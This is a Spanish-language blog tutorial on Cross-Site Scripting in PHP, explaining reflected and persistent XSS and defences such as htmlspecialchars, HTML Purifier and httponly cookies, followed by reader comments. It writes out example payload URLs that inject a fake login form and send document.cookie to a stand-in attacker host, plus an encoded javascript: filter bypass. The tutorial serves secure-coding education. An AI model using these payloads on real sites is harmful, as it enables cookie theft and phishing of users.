Cross-Site Scripting

El Cross-Site Scripting, abreviado como XSS, para no confundirlo con las hojas de estilo, es un tipo de vulnerabilidad que puede darse en cualquier aplicación web en la que se muestre en pantalla cualquier tipo de datos sobre los que el usuario tenga influencia directa. Como es de suponer, esto abarca a gran porcentaje de sitios web.

Cross-Site Scripting, el problema

Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en PHP que no hace más que mostrar el valor de una variable mensaje pasada por GET. Algo tan sencillo como esto:

<?php
  echo $_GET['mensaje'];
?>

Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:

http://localhost/index.php?mensaje=<form action="http://atacante.com/captura.php">Usuario: <input type="text" name="usuario"/><br/>Contraseña: <input type="text" name="pass"/></form>

un script que use document.location para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:

http://localhost/index.php?mensaje=<script>document.location='http://atacante.com/captura.php?cookies='+document.cookie</script>

o una imagen transparente de 1×1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:

http://localhost/mensajes.php?mensaje=<script>document.write("<img widht='0' height='0' src='http://atacante.com/img.png?valores="+document.cookie'>")</script>

El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como “XSS no persistente”, porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.

Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.

Cross-Site Scripting, la solución

La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar para esto la función htmlspecialchars, que convierte los caracteres ", <, > y & a las entidades HTML correspondientes.

En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante ENT_QUOTES, para sustituir las comillas simples (') además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:

<?php
  $aspecto = $_GET['aspecto'];
  echo "<div class='{$aspecto}'>...</div>";
?>

También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta meta, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos < y >, entre otros, con lo que htmlspecialchars no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.

Por último hay muchos casos en los que htmlspecialchars no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva javascript:

<?php
  $enlace = $_GET['enlace'];
  // Peligro: index.php?enlace=javascript:alert(document.cookie)
  echo "<a href='{$enlace}'>Enlace</a>";
?>

En estas situaciones tampoco bastaría con filtrar el texto “javascript:” ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:

http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)

También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo style mediante la propiedad expression de IE, o la palabra reservada url.

Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como HTML Purifier.

Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción session.cookie_httponly a true en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.

29 pensamientos en “Cross-Site Scripting”

  1. XSS no persistente lo hay en prácticamente todas las páginas y en muchos CMS actuales, a pesar de su fácil solución (en la mayoría de los casos)
    Y lo peor es que no se le da mucha importancia a pesar de que con un poco de imaginación y combinándolo con otros ataques se pueden hacer cosas mucho más complejas que un simple stealer de cookies.
    Ahora que me acuerdo tengo que enviar un mail a los de BitWeaver que hace ya bastante tengo unos cuantos XSS en su ultima versión. xD

          1. Desde luego, me gustaría sacarme un PhD. en Ingeniería Informática y dedicarme a ella aunque aun no sé a qué rama en concreto.
            Pero bueno, aun quedan años y primero tengo que sacar la ESO xDDDDD

    1. para sacarse un doctorado primero hay que sacarse una ingenieria/carrera afin.. maestria.. años de experiencia y trabajos de ascenso y hacer muchas invesgigaciones asi que pensa primero en sacarte el bachillerato jajaja sin mala onda =)

      1. Claro, bachiller, carrera, master y PhD.
        Por eso dije que quedan muchos años, pero desde luego es lo que pienso hacer.
        ¿Tú cómo vas en la Uni? Debes de llevar ya 2 o 3 años..

  2. Pingback: Resumen Semanal March 14th | Chasing Amy

  3. Pingback: Cross-Site Scripting | adicto web internet

  4. tambien se podria pasar la variable por htmlentities()..
    muchas cosas se pueden hacer con xss , de atacar al webmaster o a los visitantes..
    tambien ahi bastante info de como se puede “bypassear…
    me encantan estos temas 😎 jaja

    saludos

  5. Pingback: Local y remote file inclusion en PHP

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.